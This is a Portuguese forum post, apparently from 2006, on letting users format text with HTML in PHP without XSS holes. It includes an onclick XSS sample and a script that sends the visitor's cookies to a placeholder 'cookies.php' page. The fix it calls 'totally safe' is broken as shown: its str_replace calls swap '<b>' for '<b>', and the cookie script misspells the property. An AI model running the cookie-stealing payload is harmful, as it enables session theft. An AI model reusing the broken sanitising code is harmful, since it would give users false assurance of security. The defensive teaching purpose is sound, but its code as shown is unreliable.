Permitindo tags HTML sem brechas para XSS

Started by insanity, 09 de December , 2006, 08:48:00 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

insanity

Permitindo tags HTML sem brechas para XSS

Author: Herbert  Herbert Araujo

Em alguns casos, é muito interessanmte permitir formatação HTML em pontos especiais da aplicação. Isso é muito comum em fóruns ou em qualquer aplicação que colete um texto do usuário para mostrá-lo posteriormente.

Nesse ponto, podemos permitir algumas tags HTML para dar flexibilidade ao usuário. Negrito, Itálico, sublinhado, e etc. são tags que podem ser liberadas sem problemas.

Aparentemente, esse procedimento é inofensivo, mas as aparências enganam e não se preocupar com a validação de campos textos é expor a aplicação a falhas de segurança.

Veja esse código:

$txt = "<a href='http://www.site.com.br'>clique aqui</a>"

echo($txt);

Nenhum problema nisso, mas imagine que o usuário envie o seguinte texto:

$txt = "<a href='#' onclick='window.alert('ATAQUE XSS')'>clique aqui</a>";
Esse é apenas um exemplo e existe mil maneiras de ataques XSS bem mais perigosos que uma simples caixinha de alerta.

<script>
location.href="http://www.site.com.br/cookies.php?cookies=" + document.cookies;
</script>

Se um usuário acessar uma página atacada com o código acima, enviará seus cookies para a página cookies.php!

Como resolver esse problema?

O PHP possui algumas funções nativas para tratamento de textos com tags HTML como htmlentities(), htmlspecialchars() e strip_tags().

htmlspecialchars() e htmlentities() substituem todos os caracteres especiais para suas respectivas entidades HTML e strip_tags() exclui definitivamente as tags encontradas.

Dessa forma, é possível usar htmlspecialchars() ou htmlentities() em conjunto de str_replace() para permitir com segurança somente algumas tags:

$txt = "<a href='#' onclick='window.alert('ATAQUE XSS')'><b>clique aqui</b></a>";

$txt = htmlentities($txt);
$txt = str_replace("<b>", "<b>", $txt);
$txt = str_replace("</b>", "</b>", $txt);

Nesse caso, substituimos todos os caracteres especiais para suas respectivas entidades e depois substituimos as entidades das tags permitidas que aqui foi o negrito.

Essa é uma forma totalmente segura para permitir tags HTML.

A função strip_tags() também permite a passagem de um segundo parâmetro que serve para informar tags que devem ser preservadas, ou seja, ignoradas pela validação. Apesar de ser mais prático, esse método também preserva os atributos da tag e isso pode ser um problema!

Usando htmlentites() e str_replace() temos certeza que caracteres perigosos não serão passados despercebidos pela validação.